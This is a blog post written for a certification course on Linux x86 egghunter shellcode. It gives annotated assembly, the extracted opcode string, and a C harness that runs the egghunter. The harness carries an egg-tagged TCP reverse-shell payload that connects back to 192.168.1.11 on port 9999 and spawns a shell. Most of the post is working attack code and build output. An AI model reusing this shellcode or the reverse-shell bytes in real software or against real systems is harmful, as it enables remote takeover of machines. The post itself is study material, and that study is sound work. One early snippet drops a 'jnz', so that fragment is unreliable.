As I have been exploring Assembly shellcoding, I am being amazed everyday on the kind of things that can be done. A great deal of research has already been done in this area. So, a lot of great resources are available to learn. In this post, I will discuss about the egghunters and then write an assembly program to demonstrate the proof of concept.

Before I begin, a huge shout out to Matt Miller(Skape), whose research in this area is regarded as the de facto reference. His paper “Safely Searching Process Virtual Address Space” is what forms the foundation for this post.

What the egg?

In case of a traditional stack based, we jump directly to the shellcode. In such case, the memory space is enough to accommodate the shellcode. However, there could be instances where, once we jump, the space is not enough to accommodate the shellcode.

Enter Egghunting ! Egghunting is a technique which has two parts 1) an egg and 2) and egghunter:

  • The egg is the actual shellcode that needs to be executed. The shellcode is appended with a unique tag or egg.
    • The egg will be of 8 bytes – a DWORD repeated twice. The aim to have enough uniqueness to avoid collision.
  • The egghunter is small piece of code that searches for this unique tag or egg in memory, with the aim to locate the shellcode

To conclude, you will first jump to the egghunter. The egghunter will then execute and locate the egg. Once egg is located, we know the location of the shellcode; and the shellcode is executed.

Skape highlights some key characteristics of the egg hunter in his paper. Let me mention them for better clarity on our requirements:

  • Robust: The egghunter should be able to traverse through invalid sections of the memory, which would otherwise crash the application. e.g. access violations while accessing a specific area of memory.
  • Small size: As our original problem was the small size of memory which could not accommodate the shellcode, we will be back to square one if the size of the egghunter is not small.
  • Fast: The execution should be fast. We should not wait for along time for the egghunter to locate the shellcode. Also, this should happen without the violation of first and second requirement.

Hopefully, this adds clarification on what we are trying to achieve. Let’s explore a bit on how the implementation of egghunter program.

Back to basics – System Call !

The system calls are designed to serve some intended purpose. However, as with many other cases, if we talk about an egghunter program, we can use system calls to serve our purpose. Specifically, system calls can be used to traverse the processes’ virtual address space to locate the egg. However, there is a possibility that while traversing an invalid memory address, an error is returned, which will be EFAULT error code. This error code denotes that the process is trying to access the memory area that is outside its accessible address space This does not cause any disadvantage as we can tweak our shellcode to check for such locations to safely traverse the virtual address space.

In his paper, Skape highlights three such system calls that can be used for egghunting. In this post, I will focus on the second variant of access syscall. The original purpose of this system call is to check if the current process has specific access rights to given file on the disk.

Before we start !

Before we dive into drafting the assembly program, let me summarize/highlight the key points:

  • The egg will be of 8 bytes
  • The egg will be appended to the original shellcode
  • Access syscall will be used to traverse the memory and search for the egg
  • The egghunter has to be small. The smaller the better !

Enter the ring – Assembly !

We have now enough understanding to start drafting the egghunter. I will break up the egghunter code to analyze it’s each section.

Access Syscall

The following shows the man reference of access syscall:

int access(const char *pathname, int mode)

Pathname will be the argument that will be populated with the memory address and will be used to perform the address validation.

Page Alignment

The assembly code is as mentioned below:

global _start

section .text

_start:

        xor edx, edx    ; initialize edx

align_page:
; page alignment
        or dx, 0xffff

traverse_page:
; incrementing through memory address
        inc edx

Let’s analyze the code. Our aim to traverse through the memory address and find the egg. First, we initialize the edx register. The next two instructions are what we use to traverse through memory. If you notice, the instructions are split in two whereas the purpose could be solved by just 1 instruction. The reason being:

  • The first instruction will be used to traverse through the pages. The OR instruction lines up the next page to be validated which will be equivalent to PAGE_SIZE i.e. 1 (4096)
  • The second instruction increments the value of EDX; which is used to traverse through memory address of each page – one byte increment

The reason that these are two separate instructions, rather than adding 4096 to EDX is because they will form 2 different loop paths, as you will see later.

Validating Memory Address

The next is to check each memory address for the egg. The code is as follows:

        lea ebx, [edx + 4]      ; Validate 8 bytes of contiguos memory
        push byte 0x21          ; sycall number for access syscall
        pop eax                    ; move syscall number in eax
        int 0x80

; validate memory address
        cmp al, 0xf2            ; check if EFAULT is encountered
        jz align_page           ; if access violation is encountered, jump to align a new page

Our aim in this section is to invoke access syscall and check if the memory address is valid.

We start with loading the address to be validated. You may notice that instead of EDX we have loaded “EDX + 4” to be validated. Somehow, it took me a while to grasp why we are doing this. Referring to Skape’s paper, this allows 8 bytes of contiguous to be validated. Because the page_size is incremented in case of invalid address, there will never be a case when EDX+4 is invalid and EDX is valid. As our egg is of 8 bytes, in case EDX+4 is invalid, we simply jump to align the next page.

The second part of the code is responsible to validate the memory address. In case of invalid memory address, EFAULT (0xf2) is returned. We compare this value with EDX and in case of a match, we jump to “align_page”; which aligns next page to be searched.

Hunt the egg

If the last instruction did not result in jump to align_page for page alignment, we can conclude that the memory address is valid. Now, the job is to search for the egg. The code is as follows:

; search egg
        mov eax, 0x50905090    ; load egg in eax
        mov edi, edx           ; load memory address in edi - to be used in scasd instruction
        scasd                   ; compare edx and edi to match first 4 bytes of the egg - then increment edi by 4
        jnz traverse_page       ; in case egg is not matched, jump to traverse next memory address

        scasd                   ; compare eax and [edi + 4] to match next 4 bytes of the egg
        traverse_page           ; in case egg is not matched, jump to traverse next memory address

; jump to shellcode
        jmp edi                 ; jump to shellcode in case 8 bytes of egg is matched

We start with loading the egg in EAX. Then, we load the memory address from EDX to EDI. This will be used in SCASD instrunction.

Next, SCASD instruction is used to compare EAX and EDI. This checks first 4 bytes of our egg. In case the egg is not found, we jump to traverse next memory address. The interesting point with SCASD instruction is that it increments EDI by 4 in case of a DWORD comparison (as in our case). So, there is no need to increment EDI and EDI now points to next 4 bytes. We simply run SCASD instrunction again to check the next 4 bytes of egg. In case of a successful comparision, we can conclude that the complete 8 bytes of egg has been verified.

As our shellcode is appended to end of the egg, our aim is not to jump to this shellcode. As we ran SCASD instruction to compare the last 4 bytes of our egg, EDI now points directly to our shellcode and we can simply jump to EDI to pass the control to the shellcode.

This completes our egghunter shellcode. The complete shellcode looks like this:

; Purpose:      Linux x86 Egghunting
; Author:       Mohit Suyal (@mosunit)
; Studen ID:    PA-16521
; Blog:         https://mosunit.com

global _start

section .text

_start:

        xor edx, edx            ; initialize edx

align_page:
        or dx, 0xffff           ; page alignment

traverse_page:
        inc edx                 ; incrementing through memory address

; access syscall
        lea ebx, [edx + 4]      ; Validate 8 bytes of contiguos memory
        push byte 0x21          ; sycall number for access syscall
        pop eax                 ; move syscall number in eax
        int 0x80

; validate memory address
        cmp al, 0xf2            ; check if EFAULT is encountered
        jz align_page           ; if access violation is encountered, jump to align a new page

; search egg
        mov eax, 0x50905090     ; load egg in eax
        mov edi, edx            ; load memory address in edi - to be used in scasd instruction
        scasd                   ; compare edx and edi to match first 4 bytes of the egg - then increment edi by 4
        jnz traverse_page       ; in case egg is not matched, jump to traverse next memory address

        scasd                   ; compare eax and [edi + 4] to match next 4 bytes of the egg
        jnz traverse_page               ; in case egg is not matched, jump to traverse next memory address

; jump to shellcode
        jmp edi                 ; jump to shellcode in case 8 bytes of egg is matched

Plugging the egghunter

Let’s use this egghunter to locate and execute the shellcode. First, we need to assemble and link the egghunter.

root@kali:~/slae/assignments/assignment-3# nasm -f elf32 -o egghunter.o egghunter.nasm
root@kali:~/slae/assignments/assignment-3# ld -o egghunter egghunter.o
root@kali:~/slae/assignments/assignment-3# file egghunter
egghunter: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
root@kali:~/slae/assignments/assignment-3#

Next, we need to extract the shellcode using objdump. As in previous posts, we will extract the shellcode using the Commandlinefu

root@kali:~/slae/assignments/assignment-3# objdump -d egghunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x83\xca\xff\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xef\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"

That’s our egghunter code ! Our next steps are to put this egghunter along with the egg in our C shellcode tester code. We can use any shellcode in our C program. For this post, I will use a reverse shell that spawns a shell on IP 192.168.1.11 on port 9999. For this you can use the Go code that I wrote in previous post. It is hosted here.

root@kali:~/temp# go run reverse_shell_config.go -ip 192.168.1.11 -port 9999
Generating TCP reverse shellcode for IP address 192.168.1.11 and port number 9999
The shellcode length is 94 bytes

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\xb0\x66\xb3\x03\x31\xc9\x68\xc0\xa8\x01\x0b\x66\x68\x27\x0f\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

This is how or final C program looks like:

/*
Tool:           Linux x86 Egghunter
Author:         Mohit Suyal (@mosunit)
Student ID:     PA-16521
Blog:           https://mosunit.com
*/

#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = \
"\x31\xd2\x66\x83\xca\xff\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xef\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char egg[] = \
"\x90\x50\x90\x50"
"\x90\x50\x90\x50"
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\xb0\x66\xb3\x03\x31\xc9\x68\xc0\xa8\x01\x0b\x66\x68\x27\x0f\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52
\x89\xe1\xcd\x80\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
;

main()

{
        printf("Egghunter length: %d\n", strlen(egghunter));
        int (*ret)() = (int(*)())egghunter;
        ret();
}

The code is easily readable. We start with our egghunter which we have drafted in this post. Next, the egg is repeated twice (4 bytes each) followed by the shellcode. Once we compile and run the code, we get a shell !

root@kali:~/slae/assignments/assignment-3# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
shellcode.c:12:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
   12 | main()
      | ^~~~
root@kali:~/slae/assignments/assignment-3# file shellcode
shellcode: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c2c38b425d6960193a0f0ed5958e4a02a22047ff, for GNU/Linux 3.2.0, not stripped

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: PA-16521

The code is also stored at GitHub. Thanks for reading !

Leave a Reply

Your email address will not be published. Required fields are marked *